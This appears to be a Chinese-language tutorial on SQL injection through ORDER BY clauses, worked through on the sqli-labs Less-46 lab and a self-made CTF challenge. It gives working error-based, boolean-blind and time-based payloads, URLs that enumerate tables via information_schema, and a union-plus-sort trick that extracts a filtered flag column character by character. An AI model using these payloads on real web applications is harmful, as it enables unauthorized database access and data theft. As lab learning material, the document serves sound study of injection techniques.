OrderBy注入
# 有趣的 Order by 注入
下面介绍几个从 ThreeZh1 师傅那里学到的几个有趣的 SQL 注入
# 常规 Order by 注入
先来看一下 Order by 注入的原理
SELECT username, password FROM users order by 1 asc; |
这是一个常见的 order by 使用语句,order by 后面的数字 1 是第 1 个列的意思 (也可以指定列名), asc
/ desc
指定是升序还是降序。
注意
:在 order by 后面的不会根据计算的结果来排序。
这里有以下几种方式来进行测试:
# order by + 报错注入
order by extractvalue(1,concat(0x7e, @@version,0x7e)) 进行报错注入 |
# order by + 布尔盲注
rand () 会返回一个 0 和 1 之间的随机数,如果括号内参数被赋值,同一个参数会返回同一个数。
这里就可以用 mid(也就是 substr 函数)来构造布尔盲注的方式来进行注入
order by rand(mid(version(),1,1)=5) |
# order by + (>0 的数) +and + 时间盲注方式
在 order by 后面的不会根据计算的结果来排序,但是计算还是会运行。
也就是,当我们的 payload 有延迟命令的时候,页面还是会延迟的。
使用 and 连接时间盲注 payload:
order by 1 and (if(substr(version(),1,1)=5,0,sleep(5))) |
这里用 sqllib-Less46
作为一个学习的例子:
它的源代码为:
$id=$_GET['sort']; |
那么可以 将这个1替换成查询语句
,因为 查询成功
的结果就是 返回1
注意
:如果对上述这一句有疑问,请看下图
sort = (select 2) |
sort = 1 |
sort = 2 |
OK,那就可以有
http://127.0.0.1/sqli/Less-46/?sort=(select extractvalue(1,concat(0x7e,version(),0x7e))) |
读表:
http://127.0.0.1/sqli/Less-46/?sort=(select extractvalue(1,concat(0x7e,(select group_concat(table_name)) from information_schema.tables where table_schema=database(),0x7e))) |
# 另外一种 Order by 注入
ThreeZh1 自己写了一个题来学习这一种 order by 注入。
题目过滤了 F1g3 这个字段名。 在id=3时
,F1g3 字段存在 flag 的 base16 编码。(直接过滤 Flag 会更好)
查询语句:
$sql = "SELECT id, F1ag, username FROM this_1s_th3_fiag_tab13 WHERE id = ".$id.";"; |
已知:数据库名:user,表名:this_1s_th3_fiag_tab13,字段名:F1ag,列号为 2
因为过滤了 F1ag 这个字段名,我们不能直接用普通盲注的方式得到 F1ag,所以就得使用一种特别的 order by 盲注。
# 尝试报错
http://127.0.0.1/threezh1/index.php?id=1' |
这个就是错误页面,意味着报错,那么大概率就是不带单引号的整型注入
# 尝试不报错
http://127.0.0.1/threezh1/index.php?id=1 # |
# 尝试获取列数
http://127.0.0.1/threezh1/index.php?id=1 order by 3 # |
获取列数为 3
# 尝试获取数据库版本
http://127.0.0.1/threezh1/index.php?id=1 union select 1,2,3 # |
既然,直接报错注入的方式不可行,那么我们换一种思路,用 order by
可以直接用 order by 么?
http://127.0.0.1/threezh1/index.php?id=1 order by extractvalue(1, concat(0x7e,version(),0x7e)) # |
服,那就尝试先来排序。由于 id=1、id=2 时,都不是 flag 所对应的 id,根据题目,我们知道 flag 在 id=3 所在行。
id=3 union select 1,2,3 order by 1 |
根据这个差异,我们可以指定 按第二列
来排序,并在 select 里猜测 flag 的首字符值。这样就可以不使用 F1ag 这个字段名就把值读出来。
http://127.0.0.1/threezh1/index.php?id=3 union select 1,'6',3 order by 2 |
出现差别了,因为这里是首字符不等于’7’才会出现排序不一样,所以 flag 的第一个字符为’6’。
按照这个思路,写出脚本:
import requests |
附上源码查询
select id,F1ag,username from this_1s_th3_fiag_tab13 where id = 3 union select 1,'6',3 order by 2 |
1-6 都是这个样子
select id,F1ag,username from this_1s_th3_fiag_tab13 where id = 3 union select 1,'7',3 order by 2 |
到 7 的时候第一次变化
所以就是要记录何时第一次变化,然后把 上一次没有引起回包变化的字符
添加到 flag 的尾部